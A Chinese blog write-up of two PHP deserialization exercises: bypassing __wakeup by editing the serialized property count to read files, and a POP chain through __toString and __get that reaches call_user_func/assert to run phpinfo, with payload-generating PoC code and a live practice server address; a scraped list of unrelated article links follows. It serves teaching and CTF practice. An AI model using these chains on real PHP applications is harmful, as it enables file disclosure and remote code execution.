0x01 php简单的反序列化

  这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

<?php
class SoFun{
protected $file='ser.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
}
else{
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='ser.php';
}
function __toString(){
return '' ;
}
} if(!isset($_GET['file'])){
show_source('ser.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>

题目的相关魔术方法调用时机

__destruct()类似于c中的析构函数,在对象被销毁时调用

__toString()在这里没啥用

__wakeup()在进行反序列化的时候调用

__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

__wakeup()在__destruct()前面调用

那么目的是绕过__wakeup()进行__destruct()操作

对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

首先构造payload

<?php
class SoFun{
protected $file='hello.txt';
public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用

php反序列化的知识点i春秋上的一篇文件写的非常详细

https://bbs.ichunqiu.com/thread-39169-1-1.html

那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
}
class C2{
private $a2;
function __toString(){
echo $this->a2->ying;
return "hello";
}
}
class C3{
private $fun;
private $parm;
function __get($key){
$this->run();
return null;
}
function run(){
call_user_func($this->fun, $this->parm);
}
}
if(isset($_GET['ser'])){
$s = $_GET['ser'];
$arr = unserialize($s);
$class1 = new C1($arr['siji'],$arr['dou']);
}
else{
highlight_file("demo.php");
}
?>

这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

构造思路是入口为ser的参数,该参数是数组

ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

而 __get魔术方法会调用到run(),从而达到代码执行

附上我写的poc

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
} class C2{
private $a2;
function __toString(){
$this->a2->ying;
return "hello";
}
function add(){
$this->a2 = new C3();
}
} class C3{
private $fun = "assert";
private $parm = "phpinfo()";
function __get($key){
$this->run();
}
function run(){
eval($this->a3);
}
}
$class2 = new C2();
$class3 = new C3();
$class2->add();
$exp = array('siji' => $class2, 'dou' => 'dou');
echo urlencode(serialize($exp)); ?>

利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

http://134.175.147.161:10007/

php反序列化简叙的更多相关文章

  1. C#学习笔记(1) --简叙.net体系结构

    1 C#与.NET的关系 (1) C#是专门为与Microsoft的.Net Framework一起使用而设计的. (2) C#是一种基于面向对象设计方法的的语言. (3) 需要注意的是,C#就其本身 ...

  2. STL 里面的几个容器简叙

    出处:http://blog.csdn.net/niushuai666/article/details/6654951 list1.list的成员函数push_back()把一个对象放到一个list的 ...

  3. AMD单双桥时序简叙

    芯片组(双桥)时序 VBAT :RTC电路的供电3V(RTC电路有问题会导致没复位或不跑码等故障) RTCCLK :晶振起振给南桥提供32.768KHz频率(RTC电路有问题会导致没复位或不跑码等故障 ...

  4. iOS面试题集锦

    一.前言部分 文中的问题多收集整理自网络,不保证100%准确,还望斟酌采纳. 1.怎样防止指针的越界使用问题? 答案: 1 .防止数组越界,必须让指针指向一个有效的内存地址, 2. 防止向一块内存中拷 ...

  5. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  6. Android SQLite总结[转载]

    [转载] :http://blog.163.com/zqy216_2008/blog/static/4119371820119954812509/ 最近在做的项目涉及到了SQLite,大学时没有好好学 ...

  7. iOS知识点集合--更改(2)

    3.nsmutablearray *a 如果直接赋值 a = @[@"d",@""]; 这个时候a 是不可变的 字典也是如此 2.如果接口调用错误的话 打印re ...

  8. 对称加密之AES加密详解

    最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...

  9. HighCharts基本使用

    一.简叙 HighCharts是一个非常强大的画图插件,在以后的工作汇报,数字展示,它将是一把利器.既然是插件,那么就有它的使用规则,我们只需要遵循它的使用规则,就可以画出我们想要的展示效果了.期待吗 ...

随机推荐

  1. 2018-2019-2 《网络对抗技术》Exp0 Kali安装 Week1 20165320

    下载源 Kali官网 下载安装过程是按照链接博客的操作完成的 虚拟机VMware安装Kali 安装成功截图 安装VM Tools 首先进入虚拟机,默认用户名为root,密码为安装过程中自己设置的. 在 ...

  2. 【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)

    arp欺骗->arp响应 ARP 缓存中毒(ARP欺骗) arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址:收到返回消 ...

  3. 用rand()和srand()产生伪随机数的方法总结 【转】

    转自:http://blog.chinaunix.net/uid-26722078-id-3754502.html 标准库(被包含于中)提供两个帮助生成伪随机数的函数: 函数一:int rand(vo ...

  4. register 用法注意与深入--【sky原创】

    register 用法注意与深入:   gcc -o test  test.c   这样编译的话会报错的,因为寄存器变量是不能取地址的,只有内存的变量才能取地址 寄存器变量取的是虚拟地址   #inc ...

  5. kafka系列二、kafka manager的安装和使用

    1. Yahoo kafka manager介绍 项目地址:https://github.com/yahoo/kafka-manager Requirements: Kafka 0.8.1.1 or ...

  6. git安装及基础用法

    1.安装GitGit-2.9.3-64-bit.exe 2.打开Git Bash,设置用户名,Email $ git config --global user.name "Your Name ...

  7. 重新学习angularjs--第一篇(入门)

    几乎是一年之前,泛泛接触了angularjs,也做了一些项目,但是时至今日,几乎已经忘记了ng的使用,由于业务需要,近日要攻克这座难关,重新学习.会把学习的一些东西拿出来,记录之. angularjs ...

  8. tomcat启动报错 ERROR o.a.catalina.session.StandardManager 182 - Exception loading sessions from persiste

    系统:centos6.5 x86_64 jdk: 1.8.0_102 tomcat:8.0.37 tomcat 启动报错: ERROR o.a.catalina.session.StandardMan ...

  9. android手机访问app网页报错:net::ERR_PROXY_CONNECTION_FAILED

    手机访问网页报错:net::ERR_PROXY_CONNECTION_FAILED 手机访问app中嵌入的html网页报错: net::ERR_PROXY_CONNECTION_FAILED 原来是手 ...

  10. servlet请求中的信息

    在servlet中HttpServeltRequest中有一个方法getRequestURL() 假如我们平常输入的地址是:localhost/Demo1/TestServlet?hello=worl ...